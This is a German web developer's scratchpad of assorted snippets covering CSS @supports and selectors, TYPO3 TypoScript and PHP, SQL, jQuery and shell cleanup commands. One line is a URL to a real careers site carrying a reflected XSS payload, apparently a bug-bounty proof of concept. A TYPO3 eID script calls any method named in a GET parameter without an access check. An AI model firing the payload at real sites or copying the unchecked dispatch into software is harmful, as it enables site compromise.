Neue CSS-Eigenschaften wie „Transitions“ oder „Flexbox“ können nie ohne Einschränkungen direkt angewendet werden. Es benötigt immer eine gewisse Zeit, bis alle Browser die neuen Eigenschaften auch unterstützen und darstellen können. Einige Browser sind damit schneller, Andere brauchen etwas mehr Zeit. Daher müssen neuere CSS-Eigenschaften oft mit Fallback eingesetzt werden. D.h. es muss definiert werden, was passieren soll, wenn ein Browser die neue eingesetzte CSS-Eigenschaft nicht unterstützt.

Dazu kann die Regel @supports verwendet werden. Alle Browser (außer der Internet Explorer) unterstützen diese Regel (Can I use @supports). So wird vor dem Einsatz einer „kritischen“ CSS-Eigenschaft erst abgefragt, ob diese überhaupt unterstützt wird. Ebenso kann auch @supports not eingesetzt werden. Auch umfangreiche Abfragen sind mit „and“ und „or“ möglich.
Durch diese CSS-Regel kann der Einsatz von umfangreichen JavaScript-Bibliotheken wie „Modernizr“ entfallen.

@supports (hyphens: auto) {
body {
hyphens: auto;
}
}

@supports ((transition-property: color) or (animation-name: foo))
and (transform: rotate(10deg)) {
// ...
}



p > a {
// steuert alle Kindelemente (a-Tags) erster Ebene des p-Tags an
}

p + a {
// steuert das direkte Nachbarelement (a-Tag) des p-Tags an
}

p ~ a {
// steuert alle folgenden Geschwisterelemente gleicher Ebene (a-Tags) des p-Tags an
}



input[type="email"] {
// steuert nur E-Mail-Inputfelder an
}

img[title~="clickstorm"] {
// steuert alle img-Tags an, die im title-Attribut die mit Leerzeichen getrennte Zeichenkette "clickstorm" enthalten
}

a[href^="https://"] {
// steuert alle a-Tags an, die zu einer URL beginnend mit "https://" verweisen
}

a[href$=".pdf"] {
// steuert alle a-Tags an, die zu einer URL endend mit ".pdf" verweisen
}

a[href*="clickstorm.de"] {
// steuert alle a-Tags an, die die Zeichenkette "clickstorm.de" enthalten
}



:target

Die Pseudoklasse :target wird gesetzt, wenn ein bestimmter Bereich der Webseite mit einem Ankerlink (z.B. #details) angesprochen wurde. So kann das CSS je nach aufgerufenem Anker anders aufgebaut werden. Das macht z.B. Bilder-Gallerien oder mobile Navigationen ohne JavaScript möglich.

HTML:
<a href="#mobile-nav">Link öffnet mobiles Menü</a>

<div id="mobile-nav">
<!-- Mobiles Menü -->
</div>

CSS:
#mobile-nav {
display: none;
}

#mobile-nav:target {
display: block;
}



Syntax der Pseudoelemente

a::before {
content: "> ";
}

CREATE TABLE new_table LIKE old_table;
INSERT new_table SELECT * FROM old_table;

sudo nano /etc/hosts
# alternativ auch mit vi oder sonstigem Editor
sudo vi /etc/hosts

# anschliessend oeffnet sich der Editor
# nach dem Vorbild der bestehenden Eintraege
# einfach darunter die IP Adresse des Systems
# und die neue Domain eintragen
192.168.0.1    neue-domain.tld

// https://pritomkumar.blogspot.com/2018/06/mysql-findinset-sith-multiple-search.html
// https://stackoverflow.com/questions/5015403/mysql-find-in-set-with-multiple-search-string
$sql .= ' AND ( ( CONCAT(",", sys_file_metadata.fe_groups, ",") REGEXP ",('.implode("|",$arrGroups).')," ) ';

upload_max_filesize = 150M
post_max_size = 150M

UPDATE sys_file_metadata SET title = REPLACE(title, "DEV_SAP_", "")

latin1_german2_ci

config.contentObjectExceptionHandler = 0

<meta name="referrer" content="always">

$('#search').keyup(delay(function (e) {
	//Code hier
}, 200));	//delay in ms

function delay(callback, ms) {
  let timer = 0
  return function () {
    const context = this, args = arguments
    clearTimeout(timer);
    timer = setTimeout(function () {
      callback.apply(context, args);
    }, ms || 0)
  }
}

config.contentObjectExceptionHandler = 0

$templateSource = '<f:if condition="TRUE"><f:then>true</f:then><f:else>false</f:else></f:if>';

$objectManager = GeneralUtility::makeInstance('TYPO3\\CMS\\Extbase\\Object\\ObjectManager');
$standaloneView = $objectManager->get('TYPO3\\CMS\\Fluid\\View\\StandaloneView');

$standaloneView->setTemplateSource($templateSource);
$content = $standaloneView->render();

--------------
HTML
--------------

<div class="object-fit">
	<img class="backgroundSwap" src="yourimage" width="no-matter" height="no-matter" alt="no-matter">
</div>


--------------
SCSS
--------------

detect {
  display: none;
}
@supports (object-fit: cover) {
  detect {
    display: block;
  }
}
.object-fit {
  width: 300px;
  height: 300px;
  display: inline-block;
  margin: 1%;
  border: 1px solid #000;
  position: relative;
  overflow: hidden;
}
.object-fit img {
  position: absolute;
  top: 50%;
  left: 50%;
  height: auto;
  width: auto;
  min-width: 100%;
  min-height: 100%;
  transform: translate(-50%, -50%);
}
@supports (object-fit: cover) {
  .object-fit img {
    position: static;
    height: 100%;
    width: 100%;
    transform: none;
    object-fit: cover;
  }
}
/* this class added by js */
img.modifiedImg {
  background-repeat: none;
  background-position: 50% 50%;
  background-size: cover;
  position: static;
  height: 100%;
  width: 100%;
  transform: none;
}

--------------
JS
--------------

(function(d) {
  "use strict";
  var notSupported = false;
  function detect() {
    var newEl = document.createElement("detect");
    document.body.appendChild(newEl);
    if (getComputedStyle(newEl).getPropertyValue("display") === "none") {
      notSupported = true;
    }
    //newEl.remove(); not supported in IE11
    // Create Element.remove() function if not exist
    if (!("remove" in Element.prototype)) {
      Element.prototype.remove = function() {
        if (this.parentNode) {
          this.parentNode.removeChild(this);
        }
      };
    }
    // Call remove()
    newEl.remove();
  }
  detect();

  if (notSupported) {
    if ("querySelector" in document && "addEventListener" in window) {
      var theImages = d.querySelectorAll(".backgroundSwap");
      for (var i = 0, len = theImages.length; i < len; i++) {
        var imageUrl = theImages[i].src;
        theImages[i].src =
          "data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7";
        theImages[i].classList.add("modifiedImg");
        theImages[i].style.backgroundImage = "url(" + imageUrl + ")";
      }
    }
  }
})(document);

//
// Verzeichnisse löschen
//
find /home/web8/html/accounts/wiltmann/log/ -name "2017-12*" -exec rm -r {} \;

// Beispiel
find -type d -name a -exec rmdir {} \;





//
// Dateien löschen
//

// testing (ohne löschen) - älter als 200 Tage
find /home/web8/html/accounts/awigo/cache/ -mtime +200 -type f

// löschen
find /home/web8/html/accounts/awigo/cache/ -mtime +200 -type f -delete

// Beispiele
find . -name "*.bak" -type f
find ./my_dir -mtime +10 -type f -delete


//
// Größe von Verzeichnis per Shell
//
du -a -h --max-depth=1 | sort -hr

//"fileadmin > templates > global > ts > system > config.ts
[globalVar = GP:L = 1]
  config.sys_language_uid = 1
  config.language = en
  config.htmlTag_langKey = en
  config.locale_all = en_GB
  plugin.tx_indexedsearch._DEFAULT_PI_VARS.lang = 1
  config.defaultGetVars.L  = 1
  config.htmlTag_setParams = xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-GB"
[global]

https://karriere.piepenbrock.de/site/suchergebnis/&search=clickhere%22onfocus=prompt%28/OPENBUGBOUNTY/%29+autofocus=x+bad=--%3E%3C/title%3E%3C/script%3E%3Cimg+src=x+onerror=prompt%28/OPENBUGBOUNTY/%29%3E&abschicken.x=0&abschicken.y=0

#!/bin/bash
/usr/local/php7.0/bin/php -c /home/web1/conf/php-7.0/php.ini -f /home/web1/htdocs/osmo_typo3/typo3/sysext/core/bin/typo3 scheduler:run

font-family: "Source Sans Pro", SourceSansPro-Light, Arial, Arial, Helvetica, sans-serif;
    font-size: 12px;
    color: #999999;
    font-weight:300;

debug($queryBuilder->getSql());
debug($queryBuilder->getParameters());

# Den Vorschlaghammer instanzieren / aus der Kiste kramen
$persistenceManager = $this->objectManager->get("TYPO3\\CMS\\Extbase\\Persistence\\Generic\\PersistenceManager");

# Mit dem Vorschlaghammer in die Datenbank speichern / Nägel mit Köpfen machen
$persistenceManager->persistAll();

php bin/console cache:clear --env=prod --no-debug

// ========= LIST TEMPLATE ID 27 =========
<list classkey="section_elements" template_id="28" flexfield="data_slide" />

// ==== Easy Admin ====
section_start|Carousel|Slide|data_slide
//data_headline|Headline|textfield|1
//data_text|Text|editor
//data_buttontext|Buttontext|input
//data_link|Verlinkung|sourcelink
//data_picture|Abbildung|sourcelink
section_end


// ======== ELEMENT TEMPLATE ID 28 ========
<div class="item">
  <div class="col-md-5 col-sm-5 col-xs-12 fright">
    <img src="###element_data_picture###" alt="###element_data_headline###" />
  </div>
  <div class="col-md-7 col-sm-7 col-xs-12">
    <h3>###element_data_headline###</h3>
    ###element_data_text###<br clear="both" />
    <a class="button col-md-6 col-sm-12 col-xs-12" href="###element_data_link###" style="padding-top: 8px;" {f:if(condition: '###element_data_link_target### != \'\'', then: 'target=\'###element_data_link_target###\'')}>###element_data_buttontext###</a>
  </div>
</div>

//typo3conf/AdditionalConfiguration.php
$GLOBALS['TYPO3_CONF_VARS']['FE']['eID_include']['###eID-Schlüssel###'] = 'typo3conf/scripts/php/w/e/Skript.php';


//typo3conf/scripts/php/w/e/Skript.php
namespace CYBOB\PackageName\CategoryName;

class SkriptEidBootstrap {

	private $gpVars;
	protected $objectManager;

	const GP_GROUP_PARAMS = 'gpgroupkey';

	public function __construct() {
		$feUserObj = \TYPO3\CMS\Frontend\Utility\EidUtility::initFeUser();
		$pid = (\TYPO3\CMS\Core\Utility\GeneralUtility::_GET('id') ? \TYPO3\CMS\Core\Utility\GeneralUtility::_GET('id') : 1);
		$GLOBALS['TSFE'] = \TYPO3\CMS\Core\Utility\GeneralUtility::makeInstance('TYPO3\CMS\Frontend\Controller\TypoScriptFrontendController', NULL, $pid, 0, TRUE);
		$GLOBALS['TSFE']->connectToDB();
		$GLOBALS['TSFE']->fe_user = $feUserObj;
		$GLOBALS['TSFE']->id = $pid;
		$GLOBALS['TSFE']->determineId();

		$GLOBALS['TSFE']->initTemplate();
		$GLOBALS['TSFE']->getConfigArray();

		\TYPO3\CMS\Frontend\Utility\EidUtility::initLanguage();
		$GLOBALS['TSFE']->settingLanguage();
		$GLOBALS['TSFE']->settingLocale();

		$GLOBALS['TSFE']->set_no_cache();
		$GLOBALS['TSFE']->cObj = \TYPO3\CMS\Core\Utility\GeneralUtility::makeInstance('TYPO3\CMS\Frontend\ContentObject\ContentObjectRenderer');

			//wird fuer BE Funktionalitaeten benoetigt, beinhaltet auch den aktuell eingeloggten BE User
		$GLOBALS['BE_USER'] = \TYPO3\CMS\Core\Utility\GeneralUtility::makeInstance('TYPO3\CMS\Core\Authentication\BackendUserAuthentication');
		$GLOBALS['BE_USER']->start();

		$this->objectManager = GeneralUtility::makeInstance('TYPO3\\CMS\\Extbase\\Object\\ObjectManager');

		$this->gpVars = GeneralUtility::_GP(self::GP_GROUP_PARAMS);
	}


	public function run() {
		if(method_exists($this, $this->gpVars['method']) && $this->gpVars['method'] != 'run'){
			header('Content-Type: application/json');
			echo json_encode($this->{$this->gpVars['method']}());
		}
	}
}

$eID = GeneralUtility::makeInstance('CYBOB\PackageName\CategoryName\Skript');
$eID->run();

<structure>
	<!-- MARK: DASHBOARD -->
	<element>
		<id><![CDATA[main2]]></id>
		<type><![CDATA[configuration_main]]></type>
		<name><![CDATA[Start]]></name>
		<header_title><![CDATA[Main]]></header_title>
		<nextviewtype><![CDATA[PrivateBrowserStartView]]></nextviewtype>
		<tabbar_icon><![CDATA[home]]></tabbar_icon>
		<picture><![CDATA[so_background.png]]></picture>
	</element>


	<element>
		<id><![CDATA[wiki_main]]></id>
		<parent_id><![CDATA[main]]></parent_id>
		<name><![CDATA[Wiki-Bereich]]></name>
		<type><![CDATA[button1]]></type>
		<header_title><![CDATA[Wiki]]></header_title>
		<nextviewtype><![CDATA[CBListView]]></nextviewtype>
	</element>

     <element>
     <id><![CDATA[wiki_main]]></id>
     <parent_id><![CDATA[main]]></parent_id>
     <name><![CDATA[Browser]]></name>
     <type><![CDATA[button2]]></type>
     <header_title><![CDATA[Wiki]]></header_title>
     <nextviewtype><![CDATA[PrivateBrowserView]]></nextviewtype>
     </element>

     <element>
     <id><![CDATA[wiki_main]]></id>
     <parent_id><![CDATA[main]]></parent_id>
     <name><![CDATA[Projekte]]></name>
     <type><![CDATA[button3]]></type>
     <header_title><![CDATA[Project]]></header_title>
     <nextviewtype><![CDATA[PrivateProjectView]]></nextviewtype>
     </element>

</structure>

$('[data-role="popover"]').popover();

<script>
$('[data-role="popover"]').popover();

</script>

pre[class*="language-"] {
	background: #F3F3F3;
	font-size: 12px;
}

<div class="navbar navbar-default navbar-fixed-top" role="navigation">
		<div class="navbar-inner">
			<div class="container-fluid">

pre[class*="language-"] {
	background: #F3F3F3;
	font-size: 12px;
}

<?php
echo "Hello World!";
// oder so
// oder so nicht

echo "yepp";
?>